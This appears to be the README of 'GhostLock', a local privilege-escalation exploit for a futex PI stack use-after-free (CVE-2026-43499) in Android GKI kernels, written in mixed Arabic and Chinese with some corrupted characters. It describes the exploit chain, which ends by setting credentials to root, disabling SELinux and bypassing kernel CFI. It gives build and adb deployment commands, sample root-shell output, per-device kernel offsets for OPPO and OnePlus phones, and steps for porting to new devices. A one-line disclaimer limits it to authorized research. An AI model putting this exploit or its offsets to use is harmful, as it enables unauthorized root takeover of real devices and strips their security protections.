
CVE-2026-43499 ثغرة UAF في مكدس futex PI ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????
رقم CVE: CVE-2026-43499
نوع الثغرة: futex PI (ميراث الأولوية) UAF في المكدس (استخدام بعد التحرير)
النطاق المتأثر: نواة Linux 6.1 ~ 6.12 (Android GKI)
نتيجة الاستغلال: رفع امتيازات محلي + تعطيل SELinux والحصول على قشرة root
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
→ futex PI 操作触发 waiter 释放
→ 释放后的 waiter 内存被 fd_set 操作重用
→ 通过精心构造的 fd_set 数据控制 waiter 字段
→ rb_erase() 触发任意内核内存写入
pselect() + سباق futex PI لتحرير على مكدس النواةrt_mutex_waiterpipe_buffer لبناء rt_mutex_waiter مزيفrb_erase() لكتابة مؤشرات مُتحكَم بها في العناوين المستهدفةcred: uid/gid → 0، capabilities → مفعّلة بالكاملselinux_state.enforcing → 0ashmem_fops للتأكد من سلامة CFIGhostLock/
├── README.md # 本文档
├── src/
│ ├── core/ # 核心利用代码
│ │ ├── main.c # 主入口,漏洞触发
│ │ ├── pipe.c # pipe_buffer 喷射
│ │ ├── fops.c # 文件操作劫持
│ │ ├── root.c # 提权 + SELinux 禁用
│ │ ├── slide.c # 内核地址随机化处理
│ │ ├── util.c # 工具函数
│ │ ├── miniadb.c # 迷你 ADB 服务器
│ │ ├── common.h # 公共定义
│ │ ├── target.h # 目标配置
│ │ ├── offset.h # 偏移量包含
│ │ ├── runtime_offsets.h # 运行时偏移表
│ │ └── kernelsnitch/ # 内核地址探测
│ │ ├── kernelsnitch.h
│ │ ├── futex_hash.h
│ │ ├── utils.h
│ │ └── timeutils.h
│ └── devices/ # 设备适配
│ ├── offsets.h # 偏移量结构定义
│ ├── findx8/ # OPPO Find X8
│ │ └── offsets.h
│ ├── ace6t/ # OnePlus Ace 6T
│ │ └── offsets.h
│ ├── op15/ # OnePlus 15
│ │ └── offsets.h
│ ├── opd2502/ # OnePlus Pad 2
│ │ └── offsets.h
│ └── rmx5070/ # Realme RMX5070
│ └── offsets.h
├── tools/ # 辅助工具
│ └── extract_btf.py # BTF 偏移量提取脚本
├── btf_*.py # BTF 分析脚本集合
├── Makefile # 构建脚本
├── compile.cmd # Windows 编译脚本
├── build.rsp # 编译响应文件
└── ghostlock # 编译产物(ELF aarch64)
| الجهاز | إصدار النواة | الحالة |
|---|---|---|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ مُكيَّف |
| OnePlus Ace 6T | 6.1.x | ✅ تم التحقق |
| OnePlus 15 | 6.1.x | ✅ تم التحقق |
| OnePlus Pad 2 | 6.1.x | ✅ تم التحقق |
| Realme RMX5070 | 6.1.x | ✅ تم التحقق |
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. 编译
make
# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H=\"target.h\" \
src/core/*.c -o ghostlock
# 使用提供的 compile.cmd
compile.cmd
# 1. 确认设备连接
adb devices
# 2. 确认内核版本(必须匹配)
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
# (قشرة root)id يعرض uid=0(root)getenforce يُرجع PermissiveKIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
| الرمز | الإزاحة |
|---|---|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
| البنية | الحقل | الإزاحة |
|---|---|---|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
direct_map لتحديد موقع mm_structpipe_bufferاستخراج صورة النواة:
# 从手机提取 boot.img
adb pull /dev/block/by-name/boot boot.img
# 或者从固件包中提取
استخراج kallsyms:
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# 选择 "Extract kallsyms" 选项
استخراج معلومات BTF:
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
إنشاء إدخال الجهاز:
mkdir -p src/devices/mydevice
# 复制现有条目作为模板
cp src/devices/findx8/offsets.h src/devices/mydevice/
# 修改偏移量
تسجيل الجهاز:
أضف في src/devices/offsets.h:
#include "mydevice/offsets.h"
| المعلومات | المصدر | الأداة |
|---|---|---|
| عناوين الرموز | kallsyms | vmlinux-to-elf |
| إزاحات البنى | BTF | btf_task2.py |
| تخطيط الذاكرة الفعلية | IKCONFIG | extract-ikconfig |
| إصدار النواة | uname | adb shell uname -r |
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt
# 提取所有关键结构体
python3 btf_structs2.py > structs.txt
# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# 或者使用自定义脚本
python3 run_kallsyms_finder.py
⚠️ تحذير: هذه الأداة مخصصة لأبحاث الأمان والاختبارات المصرح بها فقط. استخدامها على أجهزة الآخرين دون إذن يُعد عملاً غير قانوني.
يمكن لهذا الـ exploit تجاوز حماية سلامة تدفق التحكم (CFI) في النواة من خلال:
ashmem_fopscopy_splice_read كهدف استدعاء شرعيس: تظهر رسالة "no offsets for kernel: xxx" ج: إصدار النواة غير مدعوم، يلزم إضافة إدخال جهاز
س: الـ exploit عالق ولا يتقدم ج: ربما فشل شرط السباق، أعد المحاولة عدة مرات
س: يظهر kernel panic ج: غير محتمل (لم يتم تعيين panic_on_oops)، ولكن يمكنك فحص dmesg
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v
# 查看内核日志
adb shell dmesg | tail -50
هذا المشروع مرخّص بموجب رخصة MIT.
آخر تحديث: 13 أغسطس 2026
المؤلف: wzh
التواصل: [email protected]